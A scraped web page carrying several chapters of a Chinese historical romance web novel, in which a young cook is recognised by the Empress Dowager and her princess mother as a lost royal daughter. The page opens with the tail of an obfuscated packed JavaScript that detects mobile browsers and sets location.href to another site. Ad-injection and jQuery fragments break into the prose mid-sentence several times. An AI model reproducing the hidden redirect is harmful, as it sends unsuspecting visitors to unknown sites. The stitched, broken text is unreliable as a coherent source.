d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13689669|130063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴攸捏着眉心，翻看着登入在长安成内的人口，其中姓苏的有千余人，不多，但户部的人翻了一遍又一遍，都没有苏时章这个人。 后来也不讲究苏个姓，只要沾了这三字的都拿出来对了又对，整整七十万余人，裴攸利用的私权，查了整整七日也不过看了万余人。 裴尚书在户部任职，多次经过都见着裴攸埋头苦干，甚至多次耽误的自己的事务，长久以往必会惹来御史台的不满。 “攸儿，为父记得你曾经说过，苏姑娘在淮州时开张一点小馆，后来做成了酒楼。她和她阿爹一块生活，想必她阿爹也是厨子。” 裴攸点头应道：“阿雪的父亲离开，她的确接管的苏记的摊子，她来长安，也是因为她和她父亲的承诺。” 裴尚书了然：“苏来斋出来的厨子各个厨艺高超，名气非凡，自太祖起便成了圣上身边的御厨。” 苏来斋的起家人便是姓苏，一开始皆是苏家的子弟，后来得了太祖青睐，那作为掌勺培养的，皆是承了父业进宫伺候皇帝。 既然来了长安却没找着人，既然都是姓苏的，为何不能去往大了猜。 “宫里的苏掌勺见识多广，届时你与县主进宫请安，可去御膳房问问苏掌勺可认识苏姑娘的阿爹。” 裴攸经过点拨，心中虽然不大相信宫里的苏掌勺会知晓苏时章，但不免是一条较为捷径的希望。 “宝姝进宫还需一月余，阿雪等了这般久，但愿能得到些消息。” 裴尚书看着他，终是放心地拍拍肩：“回去吧。” 裴攸暂时放下户部查询入户人口的事，将事与谢宝姝说后，谢宝姝心中明了，自也愿意做这顺水推舟的情。 待此事了结后，他和她，彻底全了这一段荒诞的，本不该有的恩情。 谢宝姝心中清楚，或许会有遗憾，但只要时间足够久，一切都能被压在最底头，就像被压在库房里再也拿不出来的字画古玩。 69. 芸豆卷 绿叶阴浓，池下荷花清润舒展，一片绿意盎然，去了大半暑气。 苏盈小心翼翼捏着衣摆，低着头看着自己脚下的新绣鞋，局促和不安久久不能散去，她和苏眠雪去过不少府上备菜，但进宫却是第一次。 苏眠雪和她比起好不了多少，那些张府、裴府、王府、梁府什么的，压根比不了皇宫所带来的庄重威压。 走错一步路，说错一句话，非是几句话就能打消。 她看着脚下路，因为已经走了不少的路的缘故，不敢多想怕分了心而一个不稳，跟在一个板着脸的福嬷嬷后边，大气不敢喘一下。 过了荷花池，又是一片种了鲜艳花卉的园子，很大，偷偷瞄一眼，各种姹紫嫣红叫她应接不暇。 苏盈一直保持着步子，走得久看得多了一时游神，险些撞到苏眠雪背上。 福嬷嬷止住步子，等苏眠雪两人再回过神，才慢慢地走，不过没有一开始那般匆忙。 连着走过两道门，景色在眼前一晃而过，朱红愈显，一处宫殿阔眼映入眼帘。 福嬷嬷思虑再三后，给苏眠雪福了礼，“苏姑娘，近来暑气重，太后娘娘贪凉，眼下估摸着时间该刚歇下，奴婢先带您去重新梳洗一番，再去小厨房，给老祖宗备去暑的点心。” 苏眠雪点头应下，她这会走了不少路，鬓角发丝早就黏在一块，知晓福嬷嬷本意，这样去面见太后有失体统，便跟在她后边进一间屋子，擦干鬓角的的汗，重新梳发才到小厨房。 福嬷嬷等在一旁，细细打量着眼前少女。 其实在昨日谢宝姝和裴攸进宫后，裴攸向御膳房的苏尚膳打听苏时章时，隐居在宫里的太后得了消息，听到这个太过久远的，以至于将要遗忘的名字，不容想起那个早亡的孙女，立刻命人下去查了清楚，不过半日就到寿康宫前。 细细看，苏眠雪面容看似温和，实际不笑时，那双杏眼时而会有些凌厉。 谢氏皇族的容貌都非惊艳的美，他们大部分如水一般温和平静，一眼望去皆是好说话的主。 福嬷嬷是太后带进宫的，太后出身将门，面貌英气，连带着性格也凌厉不容他人冒犯半分，因着太过冷清，与先帝关系只能算相敬如宾，有了公主和皇子后，便成了表面夫妻。 小厨房内不止苏眠雪和苏盈两人，不少宫娥频频相望，被管着这儿的尚膳副训斥后，只管自己手下的东西。 “阿姐，夏日宜食莲子粥，这儿有剥好的莲子。”苏盈不太适应落在身上的目光，那些宫娥看她们的是打量和好奇。 苏眠雪伸出手，安抚一般搭在苏盈肩上，“我来熬粥，再做份清凉的点心。” “放宽心，我们也没做什么。” 苏盈担忧谢宝姝会故意找麻烦，毕竟梁纯那有菩萨心肠的都常常来她们书院找麻烦，她时常想既然这般不放心，何不将人锁在宅子里。 不过柳俏怡现在也不喜欢那位书生，趾高气昂的姿态，真当自己是状元，实际也仅是进士三甲。 苏眠雪淘洗干净饱满的大米，莲子粥做法简单，不需要太多技巧，便是配粥的点心。 她没见过太后，也不知太后的喜好，以前可以凭着感觉来，这下却是半点疏忽也不敢有。 她思考了一会，边上苏盈正在控制火候，挑选一番，看见正在泡水的白芸豆，但下一眼又落在浸泡的糯米上。 宫里的食材都是已经备好的，她们来得突然，这会的空间都给她二人让出，锅里有正在烧得水，刚刚训斥宫娥的尚膳副走来：“太后娘娘今早说想吃芸豆卷。” 苏眠雪愣了片刻，反应过来后，她将芸豆放下，尚膳副推回去给她：“既然姑娘来了，这道芸豆卷就由您做吧。” “我岂有抢别人功劳的道理。”苏眠雪觉得不妥，是太后点名要吃得，那做出来送过去只要让她满意，赏赐是必不可少的。 虽然有了她们临时来得变故，她也不能无端拿走别人的。 尚膳副摇头：“娘娘要下午吃得，福嬷嬷让您来，那这便是老祖宗的意思。糯米是准备晚上做金霞糕的。” 解释后，苏眠雪终于明白，是怕她选择糯米做其他点心，特意来提醒她的。 为了不耽误时辰，宫里的厨子都要提前一晚上准备，然早上再把剩下的准备好。 泡好的芸豆放开水中煮，煮熟后用漏勺捞出，她拿筷子戳了下，还有些硬，需要上屉再蒸会。 她掐着时间，蒸了莫约一刻钟的时间，用筷子抿了下，已经煮得足够绵软，倒进湿纱布中，尚膳副走来，弯着两双眼来拿过她手里的纱布。 “姑娘，我来吧。” 隔着布将芸豆揉搓成细泥是个苦力活，尚膳副在寿康宫做事多载，知晓太后喜欢吃什么口感的。 芸豆泥必须要细腻，不能有半颗粒子，所以需要过滤三次。 红豆沙也是提前煮好的，苏眠雪没搭什么力，至少这次的体力活都是这位尚膳副在做。 “豆沙不用放太多糖，老祖宗喜欢吃那种，需要细细品味才能回过神的甜。” 苏眠雪倒糖的手一缓，原先准备放三勺白糖，直接减成一勺。 芸豆泥搓成条，尚膳副手里拿着刀，将豆泥压成长条。 这会，苏盈那边也差不多，去了芯的莲子滚在白粥中，她加了几颗红枣进去，一锅白粥染了糖色，“先生，粥里还需要加糖吗？” 尚膳副眼都没带抬，嘴里念叨：“加点，都要加一些进去。” 宫娥走来连忙道：“不用加了，师父，里头已经放红枣了，再煮一会舀出来放冰块里镇着就好。” 熬煮好的红豆沙铺子芸豆泥条上，湿布从两边往中间卷起，卷了一半到中间，苏眠雪轻轻碾成一个半圆，将湿布拿开，去掉两头，切成大小相同的断，四块精致小巧的糕点跟蝴蝶一样摆弄，中间留了一个小洞，用第五块遮住。 莲子粥放在冰碗中镇着，福嬷嬷又来嘘寒问暖：“姑娘来时用过膳了吗，这会应当累着了，太后娘娘那边不打紧，先垫垫肚子吧。” 太后今天没有午休，不过福嬷嬷看她的眉眼越看越觉得像，这一代又一代找得郎君俊，这位姑娘也更漂亮，心里笃定后，愿意去交这一份好，太后看似不容人靠近，实际是善待的主。 福嬷嬷带她们去侧殿用了些糕点，差不多时间，琉璃碗中的莲子粥冰镇好，领着苏眠雪和苏盈去寿康宫。 …… 春阁静谧，隔扇窗将满园春色划分，一面是绿水碧波，池上荷花三两支，一面是争艳芍药，倦鸟停留欢快鸣唱，一面是素兰文竹，三花猫蜷在石下乘凉。 姜太后捻着手里的檀珠闭目养神，余光中总无意看下门外，晨光刺目，放了冰块又有宫娥打扇并不觉热，只是太阳太过温和，晒在身上困倦袭来。 她放下手里的珠串，睁开眼，宫娥快步走上前，一位宫娥端来 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 放了首饰的漆盘，凤簪插进发间，姜太后问道：“还没到吗。” “福嬷嬷带苏姑娘去了小厨房，正在准备下午的点心。” 苏眠雪是厨子，到长安后做了什么名下铺子都被递到太后跟前。 她和裴攸一路相伴从淮州到长安，她是裴攸指了名要纳得妾，她和谢宝姝因为一个男子有过不愉快。 姜太后细细打量着这句话，在心中将宫人对此的说法抹除。 明明是个七窍玲珑的孩子，裴攸要纳她为妾，这都一个月了还没个动静。 她还记着裴夫人进宫时告罪，话里话外都是苏氏魅惑裴攸，句句都是怕她怪罪裴氏的模样，现在想来那是人口中说得，无非管不了自己儿子，只能推到他人身上来抵押。 “娘娘，苏姑娘到了。” 姜太后回神。 福嬷嬷引着两人来，她在前头先些行了一礼，后边的两个姑娘跟着行礼，垂头行礼那一刻，正好露出碧绿珍珠发排。 五颗色泽饱满、冰润透亮大小相同的珠子，正是当年先帝为庆生辰时高丽上贡，一共十颗珠子，其中有五颗给了当初的太后，谢长曦想要孔雀在她的发间，太后便命尚服局将五颗珠子并排着，中间雕琢的尖锐，正同孔雀一般绽耀羽尾。 后来孔雀簪在那一年由谢长曦主导的政变丢失，还有温顺的驸马和六个月大的县主。 “你过来。”姜太后招手。 苏眠雪走到她边上蹲下身，姜太后摸着她发间的簪子，问：“这支簪子，是你阿爹给你的？” “嗯。”苏眠雪乖乖低着头，补充说，“我爹说，是我娘留给我的。” 姜太后：“那你爹现在人呢。” “应该在我娘那。” “你既然来了长安，为何不和你爹娘在一块呢？” “太后娘娘，民女来长安一为寻我爹娘，二为经营酒楼，我们清风楼前的苏记就是我和我爹在淮州的名号，民女之前和裴四公子、慧安县主是因一些荒唐事有了过节，但那些过节也是过去，我救了他，他为我打听爹的事，从此再没有半分关系。” 她一股脑将话全吐露了出来，她现在的姿态卑微，对着一个陌生人垂着头，两只眼睛只能盯着地板看，时间久了脖子开始酸痛，一顿羞耻感蔓延全身。 这个姿态令她非常不适！ 但她面对的是太后，为了脑袋，只能忍着。 “快些起来吧。”姜太后扶起她，指着边上的位置，苏眠雪坐在她身边，脸颊充血，现在看起来面红耳赤。 “阿雪。”姜太后轻轻唤着，“刚刚可是不适。” 苏眠雪稍一愣神，不过很快道：“没有。” 姜太后顿了一会，打量着眼前少女，少女眉目温和，但仔细看又有些英气，已经张开的面容同隔扇窗外的兰花，不管炎炎夏日亦是冬雪，只管绽放。 姜太后取下发间的金簪，恰好衔着一颗绿石，与她发间的绿珍珠发排正对。 “你阿娘她和你爹去了淮州，应当是去寻你的，你在哀家这住着，等他们回来再好好相认。” “不成！” 苏眠雪被吓了一个激灵，人差点从椅子上弹下来，忙跪在地上：“太后娘娘，民女非那个意思，民女是还有酒楼要经营，若是住在宫里，两边跑着，怕都要跑断了腿。” 非亲非故，桌上的点心都没用上一口，要她无缘无故住在宫里，她不肯的。 70. 荠菜鳕鱼汤 “你这孩子。”姜太后将她扶起，双手微微颤动，“算了，你今儿晚陪哀家先用晚膳，等用过晚膳，再让人送你回去。” 这一场认亲过于草率，对于姜太后来说，属于她认下苏眠雪，苏眠雪又是不知情的。但又恰恰相反，有些事需要谢长曦和苏时章来解释，也需要苏时章来告诉苏眠雪，她的母亲是谁。 姜太后拿过那盏盛了莲子粥的琉璃碗，粥中枣子甜味寡淡，搅动汤匙，有莲子和红枣的香甜气息。 五块精致的小糕点摆在盘子中，外皮上没有点梅花印子，拿在手里只够两三口的份量，姜太后咬了一小口，刚好够着里边的豆沙馅，赞道：“这些都是你做的，味道很好，手艺和你爹一样。” 苏眠雪笑着回：“娘娘喜欢吃，往后可以让民女进宫来给您做，民女的花样多，保证娘娘每天都不重样！” 说实在姜太后只咬了层皮，且每每提到她爹苏时章，难不成还和太后有关系不成。 年纪也对不上，她今年都十八了，按照大周的律法，太后已经做祖母，慧安县主就是她的孙女，两人虽没血缘上的关联，但先帝和她们有啊。 姜太后和苏时章绝没有那一层的关系。 但是没关系，太后为何频频提及她爹。 “你阿娘她这些年也不容易。”强势了一辈子的姜太后不忍起了层薄雾，“若有你狠的地方，你别怪她，她要是知道当初的结果，定不会做出那等打算。” 竹影斑驳，斜阳疏影，倦鸟不知何时离去，蝉鸣阵阵，一个恍惚，眼前芍药逐渐模糊。 那年也是一个夏日。 宣帝子嗣稀少，登基四年仅有三位公主，大公主谢长曦中宫所出，五岁脱口成章，六岁举起长弓岂是不输世家男儿，那日起引得宣帝重视，带在身边教导，甚至在七岁时进入朝堂旁听政策。 宣帝曾言，若长曦是皇子，太子之位非他莫属。 谢长曦也同宣帝所想一般，她是大周的重望，她能文会武不输任何世家子，她是朝堂上熠熠生辉的明珠，一直到七岁。 七岁那年，宣帝的后宫有了大皇子和二皇子，他将对谢长曦的期望通通转移到两位皇子身上。 她对宣帝而言只是一位受宠的嫡公主，此外并无区别。 姜皇后曾经问宣帝：“为何给她希望，又亲手打破这份希望。” 宣帝说：“她只是位公主，朕给得已经够多，难不成还要朕将皇位给她不成。” “你如今是朕的皇后，不是边疆自允的女将军，你应当贤良淑德。” 直到谢长曦八岁那年，姜皇后有了嫡子，宣帝再次将重心放到中宫的一对儿女。 他让两人相互比较，日复一日、年复一年催促着长子何时超越长女，为了急功近利，他拿在手里的权力日益偏袒长女。 直到他们如仇人一般水火不容，直到皇帝要自己的长姐嫁臣子以来笼络人心，直到谢长曦成为摄政公主，选了御膳房的厨子作为驸马，挑衅着至高无上的皇权，直到姜皇后无能为力，试图在已经疯魔的姐弟中唤醒他们最后的良知，能够善待他们的手足。 年轻时的姜皇后怎么也想不到，在她不经意的日子，本该最亲密无间的姐弟，已经成了恨不得将对方置于死地的敌人。 其实曾经他们和睦共处，是手拉手最要好的姐弟。 三皇子第一次读书认字，是谢长曦握着他的手一笔一划教他，拿着书一句话一句话教他念。 大皇子是贵妃之子，贵妃是宣帝的此生挚爱，在宫中贵不可言。 贵妃要后位，大皇子自然也要当太子，彼时的皇帝是三皇子，东宫未定，大皇子仗着年纪大私底下常常欺负三皇子，谢长曦知道后，在演武场上将大皇子打得满地乱跑，在宫人和贵族眼前丢尽了脸。 浮光渐影，苏眠雪享受着暖阳打在身上，宫娥轻轻摇着扇子，姜太后自顾自说着。 福嬷嬷拍了拍她：“娘娘惯爱念叨从前。” 姜太后从回忆中醒来，眯着眼盯着院子里的芍药：“曦儿从前最喜欢芍药，其实哀家不喜欢吃这些糕点，是长曦喜欢，从前总是拦着她吃，追着她念边疆的将士百姓之苦，其实几块糕点而已，你瞧瞧这些首饰，曦儿少吃半月的糕点，都够不着这些首饰一半的银子。” 她还记着那日火光蔓延，烧红了整条坊街，公主府皆化为虚无，只留一片废土。 彼时的姜皇后不愿面对子女的不和，即便他们会在她跟前装作和睦。 她在自欺欺人，以为自以为避世的逃避可以避免那场灾祸，其实从中作梗的是父亲，身为母亲的她又做了什么？ 她漠视了这一切。 后来皇帝想要补偿这一切，她也想要挽回这一切，只是都太晚了。 苏眠雪一时唏嘘，又觉得太过不适、凄冷。 作为旁观者的她感受不到太后的心痛，但作为本该金枝玉叶的她，又好像有理由埋怨这位不大负责的母亲。 可谢长曦选了这条路，她又必须做出选择，她不是一个人，也不是普通的公主，当年女子书院兴盛，后来又成为女子的枷锁，不免是宣帝的计划。 她没理由去怪谁，她怪不了任何人。 或许这便是她的轨迹，顺着那定好的道路，慢慢从偏移的航道回归正传。 夏日苦短，卷着荷叶带来无边热浪，叶儿卷着弯，几阵雨后，缓缓舒展，却直不起腰杆，为红蕖遮风挡雨。 迟迟不肯绽放，愿在秋日放彩的荷花还未□□已然暗自掉落。 苏眠雪偶尔会进宫陪伴姜太后，见春阁的一池春水漾漾，到久久寂静，唯留兰花和文竹在角落抖擞枝叶，青翠如旧。 …… 因为得了太后青睐，隔三差五进宫陪伴太后的苏眠雪，在长安成的贵妇千金中颇为得脸，先前为了让苏当家去府里做顿膳食，曾有人高价相争，差点在酒楼里大打出手，后来是苏眠雪出面做东，将两人都留在清风楼中，花了心意做了两份不同菜色，才将两人安抚好。 阿福处理好新鲜的鳕鱼，切下鱼肚那一块的肉，放在碗中 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 苏眠雪不带抬头，只管吩咐：“一个蛋清，两勺盐，两勺淀粉，抓匀了放在边上。” 阿福做事快，外边的活忙完就在苏眠雪身边打下手，他近日不在先前的主子身边，竟想着将来跟在她身后，以满足未来进宫当厨子的愿望。 “这条鱼可是从东海打捞，今早刚送来的。”阿福说，“眼下这个时节正是鱼虾肥美的时候，我见了都想私藏留了这条鱼。” 阿福一边说着一边舔着唇角，秋天正是鱼儿贴秋膘准备过冬，肉质肥美时候。 若不是手里的银钱有限，他都想买一条新鲜的回去吃吃，可是一条新鲜的，鱼摊里最便宜的都要一两银子！ 他哪吃得起这种，只能在酒楼里头看看流口水，若是客官用的少，他们这些小二也能动动筷子尝一口。 苏眠雪勾好水淀粉，拿过新鲜荠菜在池子中洗去根部的泥土，放在菜板上切成细碎。 今儿来得是姜太后的母族，赵国公府的老夫人和当家主母，苏眠雪虽然还没和黄室认亲，不过太后认定，眼下也只差一个名号。 等谢长曦带着驸马回来，只用驸马一认，给下证据用来证明她的身份，皇帝盖下玉玺，一切皆是顺理成章。 此事都城中的夫人都还不知晓，但有些有门路的，和太后身边老人有交情的，多少知道些内情，打了门路来清风楼攀关系。 真不真的都不知道，只多花点时间，万一赌对了，就能攀上昭阳长公主府未来荣华富贵更上一层楼，何况苏眠雪还没议亲，长公主自那年之后看似淡了朝堂，实则皇帝心中有愧，早就睁一只眼闭一只眼，任凭长公主消磨着这份愧疚，只要长公主一句话，都是百般答应。 水里先加盐和胡椒粉调味，腌制好的鳕鱼从碗中取出，切成片，待大火烧开，荠菜碎倒入锅中搅散后，鳕鱼片放入锅中，汤勺将鳕鱼片沉入锅中，为增添口感丰富添了两勺味精进去。 因鱼片是后下的，汤底非是鱼汤而是清汤，撇去上层浮的荠菜碎，滚开的气泡中可见清澈汤水。 苏眠雪取过提前调好的水淀粉，一碗倒进滚沸的汤中，搅动之下，原本稀薄汤水逐渐粘稠，碧绿汤羹盛入青花盆中，两色相互碰撞着，鱼肉的鲜美味直入鼻息。 “大当家，赵国公府的人都到了，菜刚刚摆好，就差这最后一道了。” 清风楼上上下下今日都打齐了精神，来端菜的弯下腰，偷偷抬起眼看了眼这位只有十八岁的当家。 说是当家，这座酒楼其实都是她在经营，私底下都叫东家。 毕竟那位二当家天天斗鸡打牌，着实不大上心，在底下人眼里也不认脸。 苏眠雪和小二一块去了雅间，仔细看，里头人数和先前对不上，再看两眼，她皱着眉。 坐在边上的老夫人说：“这两位是长公主和驸马，今日刚回长安，顾于招待，所以耽搁了些时间。” 苏眠雪眼皮子掀了掀，垂下脑袋思考该用什么态度来面对，再抬起头，看坐在中间的儒雅男子不怀好意。 71. 谢长曦 实际在她看到中间那位端庄英气的美人时，她又把到嘴的话和表情收回去，端端正正朝几人见礼。 苏时章拿袖子遮住日渐圆润的下颚。 他也没想到这么容易就能找到谢长曦，归于从前的愧疚，好吃好喝玩了半年，体验当初没有的待遇风光了好一阵子，才想起自己把女儿丢在了淮州。 其实他一开始独自来，是怕寻找长公主的路漫漫，若是长公主有了新驸马，他这位消失了16年的驸马突然回来着实尴尬，其中难免会受委屈。 他一个活了半辈子，从前当御厨伺候宣帝到公主驸马，后来在景乡镇做平民百姓度日，什么事是放不下的。 他是怕苏眠雪跟着来，姑娘家家没经历过大风大浪，受了委屈以后都抬不起头。 好在公主本就是冷情冷意，不会沉迷在情爱中的人，当年选了他，也是因为他生的好看，加上只是一个御厨，身后没有世家好拿捏。 “阿雪，原来你已经到了长安。”苏时章有些惶恐，虽说两人游山玩水增进了些感情，但谢长曦生气，现在平易近人，但从前威压太重，一个怪罪下来，他也是怕的，“公主，阿雪便是臣与你的女儿。” 苏时章为谢长曦舀了碗汤，又在自己边上放上一碗，惊讶道：“没想到老夫人请我们来，是这个用意。” 清风楼虽不及苏来斋的名气，和在长安从开祖皇帝起的威望，但苏眠雪只是一个十来岁的姑娘，她现在在长安能有一席之地，足以证明她的本事和手艺。 老夫人说：“太后娘娘说姑娘一心都投在这酒楼里，贸然将人请走，又要耽搁她一天的时间了。” “阿雪。”谢长曦有些恍惚，垂下眸子自嘲笑了下，“你来我边上。” 孩子不和她姓谢也不能怪苏时章，当年事态紧急，摄政公主府内至少有四成的人葬身火海，苏时章带着小县主住在内院，四成中又有三成是内院的人。 苏眠雪走到空着的那个位置，她右手边的赵氏几人纷纷低着头噙着笑，催促说：“县主快喊声阿娘，公主等今日，都不知道盼了多少个日夜呢。” “表嫂，有些事急不得。”谢长曦看了眼，恼道，“姑娘脸皮薄，这会儿都不准提这事。” 谁认亲是来酒楼里的，她今日马车到公主府中还没停稳，又被自己这表嫂急匆匆拉来，连身衣裳都没换，整个人都是灰头土脸。 至少也要让她先换身衣服，然后大大方方的把苏眠雪接回去，到府内慢慢叙旧。 哪里像现在一样不成事，大庭广众之下，不是让孩子难堪吗？ “太后娘娘想让公主看看清风楼，都是静乐县主打理。”赵氏心中清楚，姜太后让谢长曦来亲眼看看，是为告诉她县主过得很好，她接着说，“皇上有意封县主为郡主，听说这些日都在挑选封号，就差驸马指认，这圣旨便会下来。” 谢长曦轻哼着：“本宫从前请奏先帝封郡主，他当初百般不同意恨不得先帝当场把我们母女都贬了才好，这样才威胁不到他的皇位，现在又在这做足了功夫。”她摸着手腕上的玉镯，体态略显丰韵，镯子在腕上刚好，“他若真有心，便将阿雪曾经所住的那三县给她，以地做封号都不为过。” 通体碧绿莹润的镯子被推到苏眠雪的手腕上，谢长曦细细打量着眼前少女。 她进来的那一刻被情绪操控着，估计是在怨苏时章，不过又很快掩好情绪，在赵氏前一直都是稳重的性子。 没有丢面子，见事临危不乱。 谢长曦不由更多了几分心疼，她将近四十，留在人世间的时间本就寥寥无几，在缺失了几近二十年的陪伴，她更希望这孩子能哭一哭，闹一闹。 苏眠雪见着谢长曦时有些感触，但又没那么深。 毕竟有些话很难开口，两人手拉着手，苏眠雪硬着头皮唤道：“阿娘。” “我儿。”这一声又在谢长曦心中来了一个九转十八弯，拉着苏眠雪的手，两人更是开始比赛谁含着眼泪看对方深情些。 急得苏时章连忙拿起帕子，往两人手中都塞了一块：“今天是个高兴日子，你们母女两得以团聚，更该高高兴兴的，阿雪这些年听话，她天赋好啊，都要承了我大半手艺呢。” 谢长曦瞥了眼：“她生来便是天潢贵胄，又不用做这些来讨好什么人，将来便是有了夫婿，也该找个相貌好的，娶进我们公主府，以阿雪为主，事事都当阿雪来做主意。” 她声音不小，因练过武的原因，说起话来中气十足，整个雅间都听了一清二楚。 赵氏左右看了看，幸好这雅间内只有他们的人，公主这话太嚣张了些，将男子娶进府中这话给外人听到，这苏眠雪至少是拒了长安大半亲事，忙将藏在袖子里沉甸甸的镯子又往里头缩了缩，附和道：“县主身份尊贵，两人又分别近二十载，舍不得县主出嫁在所难免。” 谢长曦满意点头，眼中带了柔光：“先用膳，用完膳我们便先回公主府，我怕你不适应，你就先去看看。”他又看了眼苏时章，气道，“你爹是个没心肝的，把你丢在外边也不见急着带你回来。” 苏眠雪反握住她的手：“阿娘，这桌菜都要凉了，我们先吃饭吧。” “好，我们先用膳。”谢长曦原本担心苏眠雪会抗拒，回来时路上做了许多准备，这会看来是她多心。 苏眠雪观察她的反应，有了第一声娘叫出口，后面的就简单许多。 两人相处中也能看清，苏时章是依顺谢长曦的，公主府是谢长曦的公主府，所以两人关系不大对等。 她估摸不出谢长曦对苏时章是怎么想，但从谢长曦对她的态度来看，她往后的日子不会难过。 吃到后边，也吃出了许多真情实感，谢长曦瞧着严厉，实际却是十分贴心的。 用完膳，苏眠雪应下和谢长曦一块回公主府的事。 …… 雅间外，被一齐“赶”出去的小二们围在一块，讨论着守在外边的小厮丫鬟，阿福压低声：“我们大当家真不得了，这是又得了姜国公府的赏识？” 阿财说：“应该是借了太后的光，你说太后什么时候跟苏来斋一样，亲自给我们写份牌匾来。” 小 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 二说：“自从那些贵夫人抢着请大当家去府上，我们酒楼的招牌已经打出去了，今天掌柜又招了十来个人来，听说这次打算留五人。” “是啊，除了苏来斋，我们已经不输长安任何酒楼了呢！不过我听说大当家从前在淮州的一个镇上也有酒楼，难怪当初几招就怕原先那什么的盘活了。” 小二嘴里的“那什么”是清风楼从前的名字，这话轮到阿福不高兴了，几人打闹间，雅间的门被推开。 苏眠雪走出来，拉过阿福，轻声问道：“裴钰呢，我下午有事，你们让他来选人，莫出了乱子。” 阿福道了声是，转身又和几人嘀咕在一块：“让我们来挑，都比二当家看人准。” 酒楼里头一片欣欣向荣，苏时章好生道：“阿雪，看来你已经学成了为父的经商之道，你这长安和淮州的酒楼都开得不错，我回去时，还有人问你在长安如何呢。” 苏眠雪笑着将自己一路经历说来，里面虽有磨难，但都同大石头一般翻过。 若有机会，她也愿再回景乡镇上，见见从前故人。 苏时章说：“我和公主到镇上时，欲满楼和隔壁李家都有人来，他们过得不错，就是有一事，你和李大牛的关系，现在如何了？” 本意是问苏眠雪的婚事，他们回去时李大娘给了他们一封信，是李大牛写给苏眠雪的，字迹中能读出一二，两人关系估计并非是兄妹。 苏时章本身就是普通人，走了点运气从御厨变驸马，一官半职在长安城内有了脸面，但苏眠雪不一样，娶回公主府的，也该当世家公子，皇家子弟。 谢长曦兴致淡淡，似不愿听那婚姻的事，叹息了声：“阿雪，回来的路上我就有了打算，你先定下婚事，做一个安安稳稳的郡主，若是卷入那些皇子的斗争中，娘怕护不住你。” 太子已有太子妃，其中四位皇子都已满十五，有两位开封建府，还有两位住在宫中，尚未娶妻。 除此之外，淮州安王世子今年十八，有两位侧妃，尚未有王妃，其为先帝贵妃之子，谢长曦与他有仇在身，之前多次求娶慧安县主为妻，其中心思不为人知。 谢长曦作为皇帝嫡亲姐姐，看似远离朝政，实则耳目清晰，朝堂上的风声都躲不过她耳。 而苏眠雪对这些都一无所知，她对自己身份有了认知，其他府上有风声，但也都没提过这一档事。 谢长曦又说：“你若真心喜欢，管他是什么乡野小子，有本宫在也能给他谋个一官半职，娶进我们府中，关上门事事都以你为先。” 苏时章凑着耳朵听她俩密谋着什么，说来说去，都转不出一个婚事。 十八是不小了，旁人早就享受侍弄儿孙的乐趣，到她这连个亲事都没定下。 苏眠雪抬手摸着自己发间的蝴蝶簪子，苏时章将信从怀中掏出交给她，“阿雪，这些都是你的选择。” 拿上信，她粗略看过，多是写着碰到的趣事和他近日来的经历，捏着信角的手起了薄薄一层汗，马车停靠在公主府前，她早就做好了决定，不管怎么变化，都不会去改变。 72. 友情 赵氏回到府中，姜国公跟在身边本意等她开口。 心下不免疑惑这事会办得这么妥当？几下的功夫就和长公主谈好。 赵氏被他缠得逐渐烦躁，快步走回屋子里，关上门甩着袖子：“你可快别转了！就这么想你儿子往后无缘仕途？在公主府里头一辈子看她们脸色？” 初次见，她看苏眠雪是个稳重好相处，和慧安县主一样温婉的性子，认为自己能够拿捏住这位，也不必每日晨昏定省，起码在外边认她这婆婆，给足了她面子。 结果谢长曦这么一句话，是要她儿进了公主府日日以一个女子为天？好好的小公爷，跟被豢养在府里的面首有什么差别？ 姜国公按住她的肩膀，把她往椅子上一带，安抚道：“郡马又不似驸马只能担任闲职，况且就是驸马，也能住在自己府中，每月上府请个安就是，晏儿在朝中担任要职，她还能把他绑了回去？夫人啊，我们要的是郡马这一闲称，为皇上重修姐弟和睦，往后郡主住她的昭阳长公主府，晏儿住在我们姜府上。” 赵氏忧心忡忡，揪着手里的帕子，摆弄手腕上祖传的镯子，不放心道：“若是其他公主，这话说出来我也只当玩笑话，可你也说了，那是昭阳长公主。若皇上真想和长公主重修姐弟情谊，那为何不让三皇子和四皇子娶她？” 姜国公连忙捂着妻子的嘴，怒斥道：“你疯了，除非皇上想要东宫易主，不然娶她谢长曦的女儿，是要朝廷再一次动荡吗？” 赵氏拍开他，扭过身子冷哼着，她瞧皇上是怕自己两位皇子被谢长曦玩弄在手中，又怕其他世家和谢长曦勾结，这才把这烫手山芋给她。 毕竟当年作为舅舅的老国公爷，可是站在了皇上身后，为皇上出了不少力，现在又怕外戚干政。 若真想要两家好，怎不和自己长姐商讨后直接赐婚，还要她拉下这老脸去求这门婚事。 “妾身听闻她和裴家四公子关系不浅。”赵氏冷冷撂下这句话。 关系不浅足以叫人浮想联翩，姜国公不免暗好幸亏是在闺房里，这些话说出去，足够他喝一壶了。 “裴四对她或许有意，但和仕途家族比起，显然不值一提。” 这事都有所耳闻，差别在于有些和裴家的交情深不深。 谢宝姝为裴攸退让接纳苏眠雪，但苏眠雪不领情，裴攸也没必要为了苏眠雪闹得太难堪从而再次得罪永昌长公主和谢宝姝。 便不知裴府对这事最终的定论可还满意。 姜国公困扰捏着眉心，若是可以，他也不愿掺和进皇帝和昭阳长公主两人的事中。 他道：“这事恐怕太后还不知，明日我进宫一趟，探探太后的意思，若皇上还要坚持此事，不若由她老来定事。” 赵氏听了这话方吃了一颗定心丸，“你莫说多了话，让太后知道我们拿她的意思给皇上办事。” 姜国公轻轻拍了下妻子的肩膀，示意自己知晓的事，“为夫还有事务尚未处理，夫人莫气坏了身子，这事过后，我们就给晏儿看门亲事。” …… 